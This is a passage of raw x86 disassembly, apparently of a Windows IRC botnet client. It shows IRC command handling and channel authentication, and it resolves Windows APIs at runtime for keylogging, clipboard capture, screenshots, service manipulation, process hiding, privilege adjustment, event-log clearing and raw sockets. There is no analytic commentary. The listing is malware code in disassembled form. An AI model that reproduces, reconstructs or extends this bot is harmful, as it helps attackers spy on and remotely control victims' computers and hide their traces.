		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2670535h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	dword_4CB6BC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E574[eax]
		call	near ptr 2680D2Eh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E574[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E360[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_429D8C
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429D64


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429D40
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429D14


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_42A480
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429CF8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_42A3E4
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CD4
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CB0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429C8C
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C68
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		call	near ptr 2670535h
		nop


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C1C


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D0EC ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB4DC
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C18 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B98
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_42915C


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B44
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B24
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B04
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CB4D4, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 2670535h

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB4E4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB58C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB684, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB52C, eax
		jz	short loc_409C10
		cmp	dword_4CB644, ebx
		jz	short loc_409C10
		cmp	dword_4CB628, ebx
		jz	short loc_409C10
		cmp	dword_4CB538, ebx
		jz	short loc_409C10
		cmp	dword_4CB514, ebx
		jz	short loc_409C10
		cmp	dword_4CB58C, ebx
		jz	short loc_409C10
		cmp	dword_4CB684, ebx
		jz	short loc_409C10
		cmp	dword_4CB6E0, ebx
		jz	short loc_409C10
		cmp	dword_4CB544, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB6E4, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB65C, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2670E94h
		mov	dword_4CB6E8, eax
		mov	dword_4CB6E4, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB678, eax
		call	esi
		cmp	dword_4CB680, ebx
		mov	dword_4CB564, eax
		jz	short loc_409D00
		cmp	dword_4CB630, ebx
		jz	short loc_409D00
		cmp	dword_4CB5C4, ebx
		jz	short loc_409D00
		cmp	dword_4CB6D4, ebx
		jz	short loc_409D00
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D00
		cmp	dword_4CB614, ebx
		jz	short loc_409D00
		cmp	dword_4CB678, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB6EC, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB4F8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		cmp	dword_4CB5F0, ebx
		mov	dword_4CB5A8, eax
		jz	short loc_409D67
		cmp	dword_4CB4F8, ebx
		jz	short loc_409D67
		cmp	dword_4CB5C0, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2670E94h
		mov	dword_4CB6F0, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB6EC, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB5D8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB524, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB588, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		cmp	dword_4CB694, ebx
		mov	dword_4CB5B4, eax
		jz	short loc_409E1A
		cmp	dword_4CB5D8, ebx
		jz	short loc_409E1A
		cmp	dword_4CB648, ebx
		jz	short loc_409E1A
		cmp	dword_4CB524, ebx
		jz	short loc_409E1A
		cmp	dword_4CB588, ebx
		jz	short loc_409E1A
		cmp	dword_4CB600, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB6F4, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB5E0, eax
		call	esi
		cmp	dword_4CB608, ebx
		mov	dword_4CB690, eax
		jz	short loc_409E5F
		cmp	dword_4CB5E0, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB6F4, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB500, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB508, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB56C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB5E4, eax
		call	esi
		cmp	dword_4CB618, ebx
		mov	dword_4CB50C, eax
		jz	short loc_409F0D
		cmp	dword_4CB500, ebx
		jz	short loc_409F0D
		cmp	dword_4CB508, ebx
		jz	short loc_409F0D
		cmp	dword_4CB56C, ebx
		jz	short loc_409F0D
		cmp	dword_4CB570, ebx
		jz	short loc_409F0D
		cmp	dword_4CB51C, ebx
		jz	short loc_409F0D
		cmp	dword_4CB5E4, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB6F4, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB504, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2670E94h
		mov	dword_4CB6F8, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB6F4, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB62C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB4F4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB4E0, eax
		call	esi
		cmp	dword_4CB610, ebx
		mov	dword_4CB580, eax
		jz	short loc_40A016
		cmp	dword_4CB668, ebx
		jz	short loc_40A016
		cmp	dword_4CB670, ebx
		jz	short loc_40A016
		cmp	dword_4CB62C, ebx
		jz	short loc_40A016
		cmp	dword_4CB548, ebx
		jz	short loc_40A016
		cmp	dword_4CB4F4, ebx
		jz	short loc_40A016
		cmp	dword_4CB66C, ebx
		jz	short loc_40A016
		cmp	dword_4CB4E0, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		call	near ptr 2670E94h
		nop
		mov	dword_4CB700, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB6FC, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB594, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6C8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB534, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB57C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6C0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB54C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB674, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB688, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB63C, eax
		call	esi
		mov	dword_4CB5FC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB64C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB604, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB578, eax
		call	esi
		cmp	dword_4CB594, ebx
		mov	dword_4CB6BC, eax
		jz	loc_40A2E7
		cmp	dword_4CB6C8, ebx
		jz	loc_40A2E7
		cmp	dword_4CB534, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5D0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5B8, ebx
		jz	loc_40A2E7
		cmp	dword_4CB57C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6A4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6C0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB5CC, ebx
		jz	loc_40A2E7
		cmp	dword_4CB6B0, ebx
		jz	loc_40A2E7
		cmp	dword_4CB664, ebx
		jz	loc_40A2E7
		cmp	dword_4CB624, ebx
		jz	loc_40A2E7
		cmp	dword_4CB620, ebx
		jz	loc_40A2E7
		cmp	dword_4CB554, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB674, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB688, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB5FC, ebx
